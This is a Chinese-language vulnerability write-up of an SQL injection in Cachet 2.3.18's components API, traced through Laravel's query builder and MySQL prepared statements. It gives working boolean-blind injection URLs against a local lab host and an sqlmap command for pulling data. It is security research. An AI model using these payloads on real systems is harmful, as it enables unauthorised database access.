references:
- 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅
- https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE
- https://blog.51cto.com/zhaowonq/1215337
环境搭建
用我的php破轮子搭建好环境,php版本使用php7.1,太高太低都不行
解压cachet,进入目录,执行composer install
,安装依赖
然后将.env.example
复制为.env
文件
配置好数据库密码之后,执行php artisan app:install
进行程序的安装和数据库数据迁移
然后给cachet数据库的components表加一行测试数据
漏洞分析
Cachet-2.3.18\app\Http\Routes\ApiRoutes.php
该文件声明了cache的api路由,第33行到49行,这些路由均使用中间件auth.api
这里顺便介绍一下laravel的中间件,简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码,用于鉴权等操作
其中auth.api
中间件接受一个bool类型的参数,默认为false,即不进行身份认证
漏洞入口在components
,也就是ComponentController
控制器的getComponents
方法
Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php
第40行的search方法定义位于Cachet-2.3.18\app\Models\Traits\SearchableTrait.php
的scopeSearch
方法
该方法中有一个检查:
array_intersect(array_keys($search), $this->searchable)
如果我们传递过来的参数$search
数组中的key形成的数组和$this->searchable
没有交集,那么SQL查询就不会产生
$this->searchable
的值为:
protected $searchable = [
'id',
'component_id',
'name',
'status',
'visible',
];
那么只要我们查询的时候,参数名为上面中的任何一个就可以继续查询
根据路由,我们可以构造出如下查询
http://cachet.fucker:809/api/v1/components?name=1
查询可以正常进行
我们在Cachet-2.3.18\app\Models\Traits\SearchableTrait.php
的第41行下断点,然后一路跟进到Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.php
的addArrayOfWheres
方法:
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
//如果键是一个数字,且值是一个数组,那么就把数组当作参数,调用$query->where方法
//如果$value有四个元素(id、=、1、and),依次是字段名、操作符、操作值、条件连接符
//形如and id=1
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
因此我们可以构造出如下请求
http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=motherfucker
可以看到,我们的motherfucker
进入了预编译的查询语句
laravel并未对条件连接符进行防注入处理,我们的字符可以直接注入进去
进一步构造
http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=) or 1=1%23
正常来讲,我们这时候应该已经能够查询出来数据了,但是查询结果仍然是空的
这里困扰了我挺久的,而且在debug的过程中,一直我也没看到?
被替换的SQL语句,只能看到预编译语句(带?
)
后来干脆用wireshark抓了一下包
可以看到,客户端只发送了Request Prepare Statement
数据包,然后就直接发送了Request Close Statement
包
正常情况下,中间还会发送一个Request Execute Statement
包,说明我的SQL语句根本就没执行
后来了解了一下MySQL的预处理机制,就是说数据查询是分两步,第一步是先提交预处理语句给服务器,待替换参数使用?
标记,然后后续的查询,只需要提交对应的参数即可,如下所示:
mysql> PREPARE stmt1 FROM 'select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null';
Query OK, 0 rows affected
Statement prepared
mysql> SET @a = true;
Query OK, 0 rows affected
mysql> SET @b = 1;
Query OK, 0 rows affected
mysql> sET @c = 2;
Query OK, 0 rows affected
mysql> EXECUTE stmt1 USING @a, @b, @c;
1210 - Incorrect arguments to EXECUTE
mysql> EXECUTE stmt1 USING @a, @b;
+-----------+
| aggregate |
+-----------+
| 1 |
+-----------+
1 row in set
我将我没有查询出来数据的语句进行预处理,然后定义3个变量,并使用这3个变量执行了预处理语句,直接报错,提示参数数量错误,后面改成2个,就可以正常查询了
这说明了laravel在发送Request Execute Statement
数据包之前,已经自己进行了校验,但是具体代码我并没有找到
因此现在我们只需要按照如下方式进行请求的构造即可:
http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) or 1=1%23
成功查询出来数据
然后将1=1
改成1=2
未查询出数据,SQL盲注存在
这里由于是存在两个SQL查询语句,且两个语句的列数不一致,因此无法构造union注入,不管怎么写,两条语句都至少会有一条报列数不相等的错误,无法同时满足
sqlmap跑一下
python2.7 sqlmap.py -u "http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) *%23" --technique=B --level=5
跑了两次,分别跑出了时间盲注和布尔盲注
可以跑出数据
总结
这个洞吧,我感觉应该是laravel框架的洞,如果不是他没有对参数进行过滤,这个注入也不会出现
不足之处XDM多指点